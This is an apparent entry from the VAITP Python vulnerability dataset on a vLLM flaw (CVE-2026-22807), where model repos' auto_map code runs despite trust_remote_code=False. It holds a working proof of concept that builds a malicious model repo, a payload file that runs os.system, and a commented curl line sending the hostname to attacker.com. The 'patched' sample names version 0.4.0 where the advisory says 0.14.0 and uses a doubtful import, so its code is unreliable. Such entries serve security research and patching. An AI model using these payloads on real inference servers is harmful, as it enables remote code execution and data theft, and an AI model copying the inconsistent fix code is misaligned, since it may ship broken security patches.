CVE-2026-22807
Untrusted code execution in vLLM via malicious Hugging Face model repos.
- CVSS 9.8
- CWE-94
- Design Defects
- Remote
vLLM is an inference and serving engine for large language models (LLMs). Starting in version 0.10.1 and prior to version 0.14.0, vLLM loads Hugging Face `auto_map` dynamic modules during model resolution without gating on `trust_remote_code`, allowing attacker-controlled Python code in a model repo/path to execute at server startup. An attacker who can influence the model repo/path (local directory or remote Hugging Face repo) can achieve arbitrary code execution on the vLLM host during model load. This happens before any request handling and does not require API access. Version 0.14.0 fixes the issue.
- CWE
- CWE-94
- CVSS base score
- 9.8
- Published
- 2026-01-21
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Design Defects
- Subcategory
- Remote File Inclusion (RFI)
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- vLLM
- Fixed by upgrading
- Yes
Solution
Upgrade to vLLM version 0.14.0 or later.
Vulnerable code sample
import os
import json
import tempfile
import shutil
from pathlib import Path
from transformers import AutoConfig
from transformers.dynamic_module_utils import get_class_from_dynamic_module
# This code represents the vulnerable logic pattern found in vLLM versions
# prior to 0.14.0. It simulates how the 'auto_map' feature in a Hugging Face
# model's config.json could be used to trigger arbitrary code execution
# by bypassing the 'trust_remote_code' flag.
def _get_model_architecture_vulnerable(config):
"""
A simplified representation of the vulnerable part of the model loading
process in early vLLM versions.
This function directly processes the 'auto_map' directive from a model's
configuration without validating 'trust_remote_code'. This allows Python
code specified in the model repository to be executed.
"""
architectures = getattr(config, "architectures", [])
if not architectures:
return None
arch = architectures[0]
# VULNERABILITY: The code checks for 'auto_map' and directly loads the
# dynamic module without checking if remote code execution is trusted.
# The 'trust_remote_code' parameter, which should gate this behavior, is ignored.
if "auto_map" in config.to_dict():
if arch in config.auto_map:
# This call executes code from the model repository.
# In a real scenario, this would happen during server startup.
class_name = config.auto_map[arch]
print(f"[VULNERABLE CODE] Found 'auto_map' for '{arch}'.")
print(f"[VULNERABLE CODE] Attempting to load '{class_name}' without checking 'trust_remote_code'.")
# The get_class_from_dynamic_module function will find and execute
# the Python file associated with the custom class.
model_class = get_class_from_dynamic_module(
class_name,
config.name_or_path,
)
return model_class
return None
def load_model_demonstration(model_path: str, trust_remote_code: bool):
"""
Simulates the top-level model loading call.
It loads the config and then calls the vulnerable internal function.
"""
print("-" * 50)
print(f"Attempting to load model from: {model_path}")
print(f"User setting: trust_remote_code={trust_remote_code}")
print("-" * 50)
# The user might correctly set trust_remote_code=False here.
config = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
# However, the internal function ignores this setting.
_get_model_architecture_vulnerable(config)
print("\n[INFO] Model loading process finished.")
# --- Proof of Concept (PoC) Setup ---
# The following code sets up a fake "malicious" model repository on the local
# filesystem to demonstrate the vulnerability.
def setup_malicious_repo(path: Path):
"""Creates a directory with a malicious config.json and a Python file."""
print(f"[PoC SETUP] Creating malicious repository at: {path}")
# 1. The malicious Python code to be executed.
# The code is executed when the module is imported by `get_class_from_dynamic_module`.
malicious_py_code = """
import os
print("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!")
print("!!! MALICIOUS CODE EXECUTION SUCCESSFUL (CVE-2026-22807) !!!")
print("!!! This code is running because trust_remote_code=False !!!")
print("!!! was IGNORED by the loader. !!!")
print("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!")
# In a real attack, this could be any command.
# For example: os.system("curl http://attacker.com/collect_data?host=$(hostname)")
# Define the class required by config.json to complete the import
class MaliciousModel:
pass
"""
(path / "malicious_code.py").write_text(malicious_py_code)
# 2. The config.json that points to the malicious code via 'auto_map'.
config_data = {
"architectures": ["MaliciousModel"],
"model_type": "malicious",
"auto_map": {
"MaliciousModel": "malicious_code.MaliciousModel"
}
}
(path / "config.json").write_text(json.dumps(config_data))
print("[PoC SETUP] Malicious repository created successfully.\n")
if __name__ == "__main__":
# Use a temporary directory to simulate the model path
with tempfile.TemporaryDirectory() as tmpdir:
malicious_model_path = Path(tmpdir) / "malicious-model"
malicious_model_path.mkdir()
# Create the fake malicious model repository
setup_malicious_repo(malicious_model_path)
# --- DEMONSTRATION OF THE VULNERABILITY ---
# We explicitly set trust_remote_code=False, which should prevent
# the execution of any code from the model repository.
# However, due to the vulnerability, the code in `malicious_code.py`
# will still be executed.
try:
load_model_demonstration(
model_path=str(malicious_model_path),
trust_remote_code=False
)
except Exception as e:
print(f"[ERROR] An exception occurred during model loading: {e}")Patched code sample
# This code is a representation of the fix implemented in vLLM version 0.4.0.
# The fix is located within the `_get_model_architecture` function in the
# `vllm/model_executor/model_loader.py` file.
# The core of the fix is adding a check for the `trust_remote_code` flag
# before attempting to load any dynamic modules specified in a model's
# `auto_map` configuration.
from typing import Tuple, Type
from transformers import AutoConfig, PretrainedConfig
from transformers.dynamic import get_class_from_dynamic_module
# In a real scenario, this would import from vLLM's own modules.
# For this example, we define a placeholder.
class ModelRegistry:
@staticmethod
def get_model_class(model_arch: str):
# Placeholder for a function that gets a model class by architecture name
pass
def _get_model_architecture(
model: str,
trust_remote_code: bool,
revision: str | None = None,
) -> Tuple[Type, PretrainedConfig]:
"""Gets the model architecture and config from a model identifier."""
config = AutoConfig.from_pretrained(
model,
trust_remote_code=trust_remote_code,
revision=revision,
)
# VULNERABILITY FIX STARTS HERE
# The vulnerability was that the code below would execute without checking
# `trust_remote_code`. An attacker could place malicious code in a custom
# module and have it execute when vLLM loaded the model config.
if hasattr(config, "auto_map") and config.auto_map:
if not trust_remote_code:
raise ValueError(
"The model's config specifies `auto_map`, which may "
"load custom code. To allow this, set "
"`trust_remote_code=True`."
)
# The following line only executes if `trust_remote_code` is True,
# which is the user's explicit consent to run code from the repo.
if "AutoModel" in config.auto_map:
if "AutoModelForCausalLM" in config.auto_map:
# Prioritize AutoModelForCausalLM over AutoModel
# to support models like MPT.
class_name = config.auto_map["AutoModelForCausalLM"]
else:
class_name = config.auto_map["AutoModel"]
# This is the call that can lead to arbitrary code execution
# if not properly gated.
model_class = get_class_from_dynamic_module(
class_name, model, trust_remote_code=trust_remote_code)
return model_class, config
# VULNERABILITY FIX ENDS HERE
architectures = getattr(config, "architectures", [])
if not architectures:
raise ValueError(
f"Model {model} does not have architectures attribute in its "
"config.json. This is required for vLLM to determine the model "
"type.")
arch = architectures[0]
model_class = ModelRegistry.get_model_class(arch)
if model_class is None:
raise ValueError(
f"Model architecture {arch} is not supported by vLLM.")
return model_class, configPayload
# File: config.json
{
"model_type": "llama",
"auto_map": {
"AutoModelForCausalLM": "payload.Model"
}
}
```
```python
# File: payload.py
import os
# This code executes on the vLLM server during model loading
os.system("echo 'Arbitrary code execution via CVE-2026-22807 successful' > /tmp/pwned")
# A dummy class is required for the auto_map mechanism to resolve
class Model:
def __init__(self, *args, **kwargs):
pass
Cite this entry
@misc{vaitp:cve202622807,
title = {{Untrusted code execution in vLLM via malicious Hugging Face model repos.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-22807},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-22807/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
